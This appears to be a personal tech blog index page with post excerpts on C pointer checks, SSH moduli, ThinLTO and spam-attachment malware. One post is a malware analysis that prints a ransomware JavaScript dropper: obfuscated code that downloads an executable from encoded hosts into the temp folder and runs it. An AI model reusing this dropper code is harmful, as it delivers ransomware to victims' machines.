coh's musings

Variadic null-pointer check macro

Thu, 06 Jul 2017 00:00:00 +0000

In C, raw pointer handling is one of the most common things that one will do. Given that pointers can be NULL, it is important to check them prior to every possible use.

As such, in C one ends up writing something like the following quite often.

int foo(int* ptr1, void* ptr2, struct Bar* ptr3) {
 if(NULL == ptr1 || NULL == ptr2 || NULL == ptr3) {
 //indicate an error as we need all pointers to be != NULL
 return -1;
 }

 //do something useful here
 return 0;
}

Needless to say that this can become even more cumbersome, f.e. , when a structure has pointers as fields.

Open Source Security Podcast Episode 8 Listener Feedback

Wed, 02 Nov 2016 00:00:00 +0000

This is a lengthy one, so grab yourself a beverage and something to eat before reading on.

In episode 8 of the Open Source Security Podcast, the hosts talked about the issue of having a small chance of false-positives for probability-tested prime candidates, and they expressed their desire to have either a means to prove the primality after generation and/or to generate primes that come with a “certificate of authenticity”.

This article tries to address those concerns.

Custom SSH Moduli

Tue, 11 Oct 2016 00:00:00 +0000

This is going to be a short one, so this is more of a Q&A style – It implicitly assumes OpenSSH.

Why Custom SSH Moduli?

Because it is fun to do
You get way better probability guarantees for the primality if doing it right
Custom moduli = spy agencies have to work a little harder

How?

The short version

console

ssh-keygen -G moduli.candidates -b <len> -M 127
ssh-keygen -T moduli -f moduli.candidates -M 127 -a <#tests>

-G specifies to generate moduli candidates and puts the results into the given filename. -b is the length of the prime + 1 bit – so if you set it to 4096, you would get 4095 bit. -M increases the memory used to speed things up a bit – 127 (MiB) is the maximum, though.

ThinLTO from Clang 3.9 onwards on Fedora 24

Sun, 11 Sep 2016 00:00:00 +0000

On September 2nd 2016, llvm released version 3.9 . With that came the long-awaited ThinLTO functionality, see this blog post from llvm about it.

However, there are some caveats for getting ThinLTO to run under Fedora.

The biggest one is the actual «Clang for Fedora23 x86_64 Linux» package off the official download site as this doesn’t include the required LLVMgold.so plugin for ld.gold .

The other issue is that Fedora still defaults the old crusty BDF ld as ld instead of the less awful ld.gold one.

Analysis of a Javascript dropper for Locky

Thu, 03 Mar 2016 00:00:00 +0000

Several days ago, I received an obvious spam with a zip attachment that contained a javascript file inside of it.

So after taking the normal precautions when dealing with potentially hazardous bits&bytes, I started to make my way through that js file.

After it had become obvious that it was indeed hazardous, I immediately uploaded both the zip and the js file to virustotal, and got the categorization of Locky for the submitted js.

Analysis of a TeslaCrypt spam attachment

Thu, 03 Mar 2016 00:00:00 +0000

Got this yesterday in my spam folder. After working through the js-in-zip attachment beneath, I uploaded it to virustotal and got the classification of TeslaCrypt for the js and the actual downloaded binary.

Virustotal results

JS Walkthrough

functions with a readable name were, surprise, renamed by me.

 function runScript(GJaRFJrtZko) {
 var script_shell = WScript.CreateObject("Wscript.Shell");
 script_shell.Run(GJaRFJrtZko, 0x1, 0x0);
 }

 function getTempPath(PtUAL, LlFXs, FlysN) {
 var mkLge = "NdGVLQ Bpp pt.Shell bllEtPp Scri".split(" ");
 var shell = ((1) ? "W" + mkLge[4] : "") + mkLge[2];
 var pt = WScript.CreateObject(shell);
 var Gk = "%TEMP%\\";
 return pt.ExpandEnvironmentStrings(Gk);
 }

 function getFileSystemObject() {
 var xAcDuWW = "ipting";
 var grQibGokBt = "ile";
 var xJpUs = "System";
 return "Sc" + "r" + xAcDuWW + ".F" + grQibGokBt + xJpUs + "Obj" + "ect";
 //COH: return Scripting.FileSystemObject
 }

 function eWoi(imumB) {
 return WScript.CreateObject(imumB);
 }

 function BCqs(tiLfc, OztrY) {
 tiLfc.write(OztrY);
 }

 function DKdw(ReLQG) {
 ReLQG.open();
 }

 function kVOM(OtVRo, bQfrW) {
 OtVRo.saveToFile(bQfrW, 967 - 965);
 }

 function qdXC(NJfpu, eKPkH, suJDl) {
 NJfpu.open(suJDl, eKPkH, false);
 }

 function eaom(RCxQE) {
 if (RCxQE == 975 - 775) {
 return true;
 } else {
 return false;
 }
 }

 function DGGa(ugtoW) {
 if (ugtoW > 170089 - 579) { //COH: 169510
 return true;
 } else {
 return false;
 }
 }

 //COH given the string scrambled, return a string that only contains the
 // characters which were at odd indices
 function zoYB(scrambled) {
 var ret = "";
 for (j = 0; j < scrambled.length; j++)
 if (j % 2 != 0) {
 ret += scrambled.substr(j, 1);
 }
 return ret;
 }

 function aPJG(Kgoie) {
 Kgoie.send();
 }

 function muxg(TIMdT) {
 return TIMdT.status;
 }
 var yQ = "0tyhNi6szivsGiWtQsqqQqx.Uc7owmo/T6N9L.reWxxej?l 4omhriEysodu1nBg1bzutydf8fi.IcDo9mh/x6J9t.MeLxaek?l M?x d?f I?";
 var m = zoYB(yQ).split(" ");
 var HnS = getTempPath("qQHr", "QWyZf", "lMxsrd");
 var lnR = new ActiveXObject(getFileSystemObject());
 var PAfC = HnS + "gCQQtMh\\";
 try {
 lnR.CreateFolder(PAfC);
 } catch (Nxfyoh) {};
 var Cdk = "2.XMLH";
 var PVo = (Cdk + "TTP" + " qrdKixY yufRR XML ream St tpRdoTVk AD ZPRWRnX OD").split(" ");
 var ua = true,
 Laak = PVo[7] + "" + PVo[9];
 var lo = eWoi("MS" + PVo[3] + (525261, PVo[0]));
 var CJf = eWoi(Laak + "B." + PVo[5] + (689665, PVo[4]));
 var VWV = 0;
 var K = 1;
 var TnYmoIC = 833555;
 var O = VWV;
 while (true) {
 if (O >= m.length) {
 break;
 }
 //COH around here, it assembles the http ajax get request.
 var ap = 0;
 var xzS = ("ht" + " DBUIFTI tp kDeqN RHNqiQAB :// laYRvLL .exe GET").split(" ");
 try {
 qdXC(lo, xzS[0] + xzS[2] + xzS[5] + m[O] + K, "GET");
 aPJG(lo);
 if (eaom(muxg(lo))) {
 DKdw(CJf);
 CJf.type = 1;
 BCqs(CJf, lo.responseBody);
 if (DGGa(CJf.size)) {
 ap = 1;
 CJf.position = 0;
 kVOM(CJf, /*EAa982l7jX*/ PAfC /*dub829fDxZ*/ + TnYmoIC + xzS[7]);
 try {
 if (((new Date()) > 0, 793708888)) {
 runScript(PAfC + TnYmoIC + /*KEKW17I1vu*/ xzS[7] /*nexd42SjGg*/ );
 break;
 }
 } catch (Ee) {};
 };
 CJf.close();
 };
 if (ap == 1) {
 VWV = O;
 break;
 };
 } catch (Ee) {};
 O++;
 };

URL was https://<CENSORED>qq.com/69.exe.

ack

Mon, 01 Jan 0001 00:00:00 +0000

This domain uses the following open source projects to create the content that you get to see:

Above list is by no means complete as it only mentions the immediate tools, but not, say, the text editor, …

FIN